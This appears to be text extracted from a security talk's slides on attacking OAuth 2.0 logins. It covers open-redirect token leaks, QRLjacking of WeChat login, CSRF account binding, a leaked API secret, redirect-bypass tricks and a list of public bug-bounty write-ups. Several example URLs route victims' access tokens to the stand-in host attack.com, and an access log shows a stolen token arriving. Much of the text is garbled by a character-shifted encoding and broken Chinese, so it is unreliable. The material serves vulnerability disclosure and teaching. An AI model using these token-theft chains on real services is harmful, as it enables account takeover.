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Whoami



��Oauth2.0
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$� አಁکദ๐҅ۓ᧗ദ҅ᬬࢧ
ദᎱ�$XWKRUL]DWLRQ&RGH�

%� ਮಁᒒኧദᎱکദ๐ۓഘݐᦢ
ᳯեᇈ�DFFHVV�WRNHQ�

&� አᦢᳯեᇈ݄ᦢᳯکദጱᩒრ

ᦢᳯեᇈݐ$XWKRUL]DWLRQ�&RGH�ń!ഘ�ദᎱݐ឴
ҁDFFHVVBWRNHQ҂ń!ᦢᳯᩒრ
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$� ਮಁᒒکദ๐ۓ᧗Ӟӻദե
ᇈ�UHTXHVWWRNHQ	VHFUHW�

%� አಁکദ๐ۓ᧗ദ

&� አᦢᳯեᇈکദ๐ۓഘݐᦢᳯե
ᇈ�DFFHVVWRNHQ	VHFUHW�

'� አᦢᳯեᇈ݄ᦢᳯکദጱᩒრ

᧗ദեᇈҁUHTXHVW�WRNHQ	VHFUHW҂ń!ഘݐᦢᳯեᇈ
ҁDFFHVV�WRNHQ	VHFUHW҂ń!ᦢᳯᩒრ
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$XWKRUL]DWLRQ�&RGH IRU�DSSV�UXQQLQJ�RQ�D ZHE�VHUYHU � EURZVHU�EDVHG DQG PRELOH�DSSV

• 3DVVZRUG IRU�ORJJLQJ�LQ�ZLWK�D XVHUQDPH�DQG�SDVVZRUG

• &OLHQW�FUHGHQWLDOV IRU DSSOLFDWLRQ�DFFHVV

• ,PSOLFLW ZDV�SUHYLRXVO\�UHFRPPHQGHG�IRU�FOLHQWV�ZLWKRXW�D�VHFUHW��EXW�KDV�EHHQ�

VXSHUVHGHG�E\�XVLQJ�WKH�$XWKRUL]DWLRQ�&RGH�JUDQW�ZLWK�QR�VHFUHW�

https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/


Web��

https://facebook.com/dialog/oa
uth?response_type=code&clien
t_id=CLIENT_ID&redirect_uri=R
EDIRECT_URI&scope=email&sta
te=1234zyx

KWWSV���H[DPSOH�FRP�FE"FRGH $87+B&2'(B+(5(	VWDWH ����]\[$OORZ
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• KWWSV���DSL�DXWKRUL]DWLRQ�VHUYHU�FRP�WRNHQ

3267ғ

• JUDQWBW\SH SDVVZRUG	�XVHUQDPH 86(51$0(	�SDVVZRUG 3$66:25'	�

FOLHQWBLG &/,(17B,'
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https://open.weixin.qq.com/connect/oauth
2/authorize?appid=wxc43*******&respon
se_type=code&scope=snsapi_base&redirec
t_uri=http://baidu.com&state=**********
*&connect_redirect=1#wechat_redirect



Token Leak
Timelime:

2018.02.13

Redirect vulnerability

2018.03.20 

Find token leak

2018.03.21

Report Vulnerability

2018.03.30

Fixed



Detail

• KWWSV���VWDII�\RQJVKDR�FRP�DXWK�RDXWK�DXWKRUL]H"FOLHQWBLG RD	UHVSRQVHBW\SH WR

NHQ	UHGLUHFWBXUL ^ձXUO`�VWDWH KWWS���ZZZ�\RQJVKDR�FRP�

• 2SHQ�WKH�DERYH�85/��LI�WKHUH�LV�QR�ORJLQ�ZLOO�5HGLUHFW�KWWSV���VWDII�\RQJVKDR�FRP



Detail



Detail



POC/EXP

Write js Write php



POC/EXP



POC/EXP
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:KLWHOLVWғ
�� �QHL�FQ
�� �P�QHW
�� �P�FRP
�� �P�FRP

KWWSV����FQ�KRPH�Q[/RJLQ"UHGLUHFWBXUO KWWSV���L[�FQ�

https://*******.cn/home/nxLogin?redirect_url=https://neix**.cn/
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KWWSV���SUHYLHZ�Q�FQ�LPJ"VUF KWWS���DWWDFN�FRP

KWWS���W�FQ�5�S'��

KWWSV���Q�FQ�KRPH�Q[/RJLQ"UHGLUHFWBXUO KWWSV���
SUHYLHZ�Q�FQ�LPJ"VUF KWWS���DWWDFN�FRP

https://preview.neix**.cn/img?src=http://attack.com
http://t.cn/R3pD9CH
https://n*****.cn/home/nxLogin?redirect_url=https://preview.neix**.cn/img?src=http://attack.com
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Login Redirect
• KWWSV���SUHYLHZ�Q�FQ�LPJ"VUF KWWS���DWWDFN�FRP�"D 	PDUN7RNHQ 

•➜ aWDLO�DFFHVV�ORJ
• �� � >���0D\��������������������@�ŉ*(7��"D �+773����Ŋ ����������
ŉKWWSV���SUHYLHZ�Q�FQ�LPJ"VUF KWWSV���[[[�FRP�"D 	PDUN7RNHQ 
���0R]LOOD������0DFLQWRVK��,QWHO�0DF�26�;���B��B���$SSOH:HE.LW��������
�.+70/��OLNH�*HFNR��&KURPH���������������6DIDUL������������
�YDU�ZZZ�KWPO�LQGH[�SKS�

https://preview.n*****.cn/img?src=http://attack.com/?a=&markToken=******
https://preview.neixin.cn/img?src=https://xxx.com/?a=&markToken=
https://preview.neixin.cn/img?src=https://xxx.com/?a=&markToken=
https://preview.neixin.cn/img?src=https://xxx.com/?a=&markToken=
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Qrljacking

�� ධڋᘏḒ֢ګضӞӻᰜṺᶭᶎ҅឴ݐ፥ਫᶭᶎጱԫᖌ

Ꮁ

�� ධڋᘏਖ਼ᰜṺᶭᶎݎᭆᕳݑਸ਼ᘏ

�� ਸ਼ᘏֵአᇙਧፓຽᑏۖଫአಚ45Ꮁݑ

�� ධڋᘏ឴ݣݸݑਸ਼ᘏಁጱᦊᦤ᱾ള

�� ධڋᘏᦊᦤ᱾ളݸፗളഴݑګਸ਼ᘏጱஙמᴴ



Qrljacking



Qrljacking
�̵KWWSV���ORJLQ�ZHL[LQ�TT�FRP�MVORJLQ
3267��DSSLG Z[���F��H�F��DFIIE	IXQ QHZ	ODQJ
 ]KBFQ��ኞ౮XXLG�

�̵KWWSV���ORJLQ�ZHL[LQ�TT�FRP�O�^XXLG` ኞ౮ԫᖌᎱ

�̵KWWSV���ORJLQ�Z[�TT�FRP�FJL�ELQ�PPZHEZ[�
ELQ�ORJLQ"ORJLQLFRQ WUXH	DPS�XXLG ^XXLG`DPS�WLS �
	DPS�U ���������	DPS�B ������������� ݐ឴�
�௳מਸ਼ᘏݑ

https://login.weixin.qq.com/jslogin
https://login.weixin.qq.com/l/%7Buuid%7D
https://login.wx.qq.com/cgi-bin/mmwebwx-bin/login?loginicon=true&amp;uuid=%7Buuid%7Damp;tip=1&amp;r=855749254&amp;_=1502382803479


Qrljacking



Qrljacking



Qrljacking

�� ឴ಅํጱঅڜᤒ

�� ឴ڦՈݎጱၾ௳

�� ௳ᭆၾݎአಁݻ

�� ŏŏ
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CSRF�������
ݸܗጭᴭஙࣁ̵�
KWWS���ORJLQ�VLQD�FRP�FQ�VVR�FURVVGRPDLQ�SKS"DFWLRQ ORJLQ



CSRF�������
�̵ತᕬਧᨴݩᗌᵅ॒
��/oauth/weibo/redirect



CSRF�������

�̵([SORLW



CSRF�������
�̵%\SDVV 7LSV



CSRF�������

LIUDPH๊ഘӻՈӾஞ
�ᗑᒊᕬਧᨴݩኴᶎ�

9LFWLP�$WWDFN

ᅩڋೲᰵ ਠ౮ᕬਧ

᭗ᬦLIUDPHຽᓋጭᴭஙܗ



API Leak



API Leak
KWWSV���DSL�ZHL[LQ�TT�FRP�FJL�
ELQ�WRNHQ"JUDQWBW\SH FOLHQWBFUHGHQWLDO
	DSSLG Z[����	VHFUHW ����
�H����D�I���

5HVSRQVH�
^�DFFHVVBWRNHQ�����BE:E�.<OP6.:)8OZ[(��
RW)\-%.)�EPJZ-[V
L�$�X�6RN�2-M�Z+-+J&)$
;=;���H[SLUHVBLQ������`



API Leak
KWWSV���DSL�ZHL[LQ�TT�FRP�FJL�
ELQ�JHWFDOOEDFNLS"DFFHVVBWRNHQ �
$9$Q�&-.-��L�$+J&)$;=;

^ŉLSBOLVWŊ�>ŉ�����������Ŋ�ŉ���������Ŋ�ŉ����������@`



Login Google
KWWSV���DFFRXQWV�JRRJOH�FRP�$FFRXQW&KRR
VHU"VHUYLFH DK	SDVVLYH WUXH	FRQWLQXH KWW
SV���DSSHQJLQH�JRRJOH�FRP�BDK�FRQIORJLQ"
FRQWLQXH KWWS���DWWDFN�FRP

KWWS���DWWDFN�FRP�BDK�FRQIORJLQ"VWDWH a


http://attack.com/_ah/conflogin?state=~*****************************


%XW�VWDWH HQFU\SW

http://xiaopigfly.com/_ah/conflogin?state=~*****************************


Jetbrains Team Work
([DPSOHғ\RXWUDFN
6HWWLQJ�:KLWH�/LVWғ
KWWS������������������DGPLQ�KXE�VHUYLFHV���������
�"WDE VHWWLQJV

ጭᴭၞᑕ
KWWS������������������KXE�DXWK�ORJLQ"UHVSRQVHBW\SH W
RNHQ	FOLHQWBLG 	UHGLUHFWBXUL KWWS���)��)EDLGX�F
RP��)	VWDWH 

ᦡ࣋วŏ



KWWS���W�FQ�5�5PNG\
�ڋਸ਼ᘏᅩݑ�

$WWDFN

6HQG $FFHVVBWRNHQ

ORJLQ

KWWS������������������KXE�DX
WK�ORJLQ"UHVSRQVHBW\SH WRNH
Q	FOLHQWBLG 	UHGLUHFWBXUL
 KWWS���)��)EDLGX�FRP��
)	VWDWH 



Use old poc

KWWS������������������RDXWK�DFFHVVWRNHQ [[[[[[[[ ҁHQFRGH HUURU҂

KWWS������������������RDXWK�DFFHVVWRNHQ [[[[[[[[ ҁGHFRGH VXVV҂

http://127.0.0.1:8081/oauth
http://127.0.0.1:8081/oauth




��xss Platform got it



Demo MP4



Other
KWWSV���VVR�WHOQHW����FRP�FDV�OR
JLQ"VHUYLFH KWWSV���ZZZ�VHHEXJ�
RUJ�DFFRXQWV�ORJLQ�"QH[W ��)

KWWSV���VVR�WHOQHW����FRP�FDV�OR
JLQ"VHUYLFH KWWSV���EDLGX�FRP�

KWWSV���ZZZ�EDLGX�FRP�"WLFNHW 67�

https://sso.telnet404.com/cas/login?service=https://www.seebug.org/accounts/login/?next=/
https://sso.telnet404.com/cas/login?service=https://baidu.com/
https://www.baidu.com/?ticket=ST-*********


Redirect Bypass
���:::��2����5����/��.��.�
���������#��2����5��
��:::��2����5����/��.��.
��:::��2����5�
�:::��2����5�
��������:::��55��.��5��:::��2����5�
�����2����#�
�5�
�������:::��55��.��5����2����5�
�������:::��55��.��5��	�2����5�
�������:::��55��.��5����2����5�
�������:::��55��.��5��%�2����5�
�������:::��55��.��5����2����5�
�������:::��55��.��5���2����5�



Help Me(how to fixed)



Help Me(how to fixed)

�� 7LPH OLQH
�� 9DOLGLW\
�� :KLWH OLVW



! ��� ������

How	I	Hacked	[Oculus]
OAuth	+Ebay	+IBM

$EGXOODK
+XVVDP

)DFHERRN��(ED\��,%0�
$QVZHU+XE

8QUHVWULFWHG�ILOH
XSORDG��;66

��� ����������

Stealing	Facebook
access_tokens	using	CSRF

in	device	login	flow

-RVLS
)UDQMNRYLF

)DFHERRN
&65)��2$XWK�IODZ�
,QIRUPDWLRQ
GLVFORVXUH

�� ����������

Internet	Explorer	has	a
URL	problem

)LOH
'HVFULSWRU

*LWKXE��*RRJOH
2$XWK�IODZ��532�

;66
�� ����������

Authentication	bypass	on
Airbnb	via	OAuth	tokens

theft
$UQH�6ZLQQHQ $LUEQE

2$XWK�IODZ��/RJLQ
&65)��2SHQ
UHGLUHFW�

$XWKHQWLFDWLRQ
E\SDVV

������ ����������

Stealing	Access	Token	of
One-drive	Integration	By

Chaining	CSRF
Vulnerability

$UED]�+XVVDLQ �� 2$XWK�IODZ��&65)� �� ����������

Stealing	0Auth	Token
(MITM)

$UED]�+XVVDLQ �� 2$XWK�IODZ� �� ����������

3XEOLFDWLRQ�GDWH�

=HUR�WR�$FFRXQW
7DNHRYHU��+RZ�,�ņ

,PSHUVRQDWHGŇ�6RPHRQH
(OVH�8VLQJ�$XWK�

'DQLHO
6YDUWPDQ

2DXWK /RJLF�IODZ� �� ����������

7LWOH�	�85/� $XWKRU %XJ�ERXQW\�SURJUDP� 9XOQHUDELOLW\� 5HZDUG�����

Finding	hidden	gems	vol.
1:	forging	OAuth	tokens
using	discovered	client	id

and	client	secret

0DWHXV]
2OHMDUND

��
,QIRUPDWLRQ
GLVFORVXUH�

��������� ����������
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